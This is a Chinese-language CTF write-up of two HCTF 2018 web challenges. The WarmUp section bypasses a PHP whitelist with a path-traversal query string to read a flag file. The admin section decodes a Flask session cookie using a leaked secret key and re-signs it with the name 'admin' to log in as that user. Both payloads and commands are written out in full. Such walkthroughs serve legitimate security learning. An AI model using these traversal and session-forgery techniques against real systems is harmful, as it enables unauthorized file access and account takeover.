[HCTF 2018]WarmUp
1. 进入界面是一个图像,首先看一下源代码:
在这知道,我们传入的参数给了file
那么接下来看一下checkFile
这个函数
2. 查看checkFile函数:
- 首先 给出了白名单,并且判断形式参数(
file
)是不是字符串;
- 判断是不是形式参数(
file
)的内容在不在白名单数组里
- 这次判断形式参数从一开始到第一个
?
出现的位置里所包含的字符串,判断这个字符串在不在白名单列表,
- 这个和上一个类似,不过这个是先进行了url解码,可能是防止
url
编码绕过
3. 看了这么多不知到flag到底在哪,刚好还有个hint.php
没看
所以估计是让我们访问 ffffllllaaaagggg
那么,没有其他特殊的过滤,直接访问即可
?file=source.php?file=hint.php?../../../../../ffffllllaaaagggg
[HCTF 2018]admin
1. 先注册登录进去,之后啥也没有,看下源代码
这里要求我们是admin
登陆,要么是拿到admin
密码,要么是利用admin
登陆cookie
完成登陆
2. 继续查看其他地方的源代码
- 在更换密码界面找到了这个,那么先访问一下,下载源码,看到
flask
,可能存在模板注入(发现不是)
查看下载文件,找出有用信息
routes.py
在这里查看各个界面对信息的处理方法
在这里发现,每次登陆都会把用户名写进session
猜想,可以利用admin
的session
来登陆admin
,并且不同用户的session
可能只有用户名不一样
查看本地session
.eJw9kEGLwjAQhf_KkrOHdrq9CB5cUoOFSemSWDIXcWvdJm1ctiraiP99iwseHsPjweN7c2fbw9CcWjY_D5dmxrZ2z-Z39vbF5sw4HSOYYJS5Sa_fpdrbosJgAlkSuZd-4xF0igHjQugIQ9-hmhysk6IyAZ0Oxn1acpgYwFR6clStAUE6A3qUwtzQdTHxZTR5MEq6QmXT_bDyKZ1SterIZanxmKAqbxjalhS10ue95CWgq6EQ5YI9Zqw-DYft-adrjq8JxPOeRDmSq0fi2YRaAwq8Sr6ZECYo3kUIK4tVCZLvexTZSMvFs8763XfzakKe_-rrf3Lc-SlgMSRsxi6nZnh-jcURe_wBqEFqGg.YLXpDg.XQzyIRpa2VGfzAoYhWaH_Cvgnrs
- 显示是密文,那么我们需要解密,解密需要的密钥,可以在
config.py
中找到
这里利用flask-session-cookie-manager
这个工具解密
用法:
进行解密:
flask-session-cookie-manager % python3 flask_session_cookie_manager3.py decode -s 'ckj123' -c .eJw9kEGLwjAQhf_KkrOHdrq9CB5cUoOFSemSWDIXcWvdJm1ctiraiP99iwseHsPjweN7c2fbw9CcWjY_D5dmxrZ2z-Z39vbF5sw4HSOYYJS5Sa_fpdrbosJgAlkSuZd-4xF0igHjQugIQ9-hmhysk6IyAZ0Oxn1acpgYwFR6clStAUE6A3qUwtzQdTHxZTR5MEq6QmXT_bDyKZ1SterIZanxmKAqbxjalhS10ue95CWgq6EQ5YI9Zqw-DYft-adrjq8JxPOeRDmSq0fi2YRaAwq8Sr6ZECYo3kUIK4tVCZLvexTZSMvFs8763XfzakKe_-rrf3Lc-SlgMSRsxi6nZnh-jcURe_wBqEFqGg.YLXpDg.XQzyIRpa2VGfzAoYhWaH_Cvgnrs
- 修改session进行加密:
python3 flask_session_cookie_manager3.py encode -s "ckj123" -t "{'_fresh': True, '_id': b'b553f3a616e857b9c3c6bdbf6ef3e93358e439d1333b79f3253b4bf37cc96fceb63ccce24f1295d04ce6a3c916a0b50b559eadf19bc714138ae6a6be4462768d', 'csrf_token': b'd2edd2f72d193760c045ccf60943ab1d647e0a2d', 'image': b'02jS', 'name': 'admin', 'user_id': '10' }"
把它作为session,登陆admin
,密码随便。。。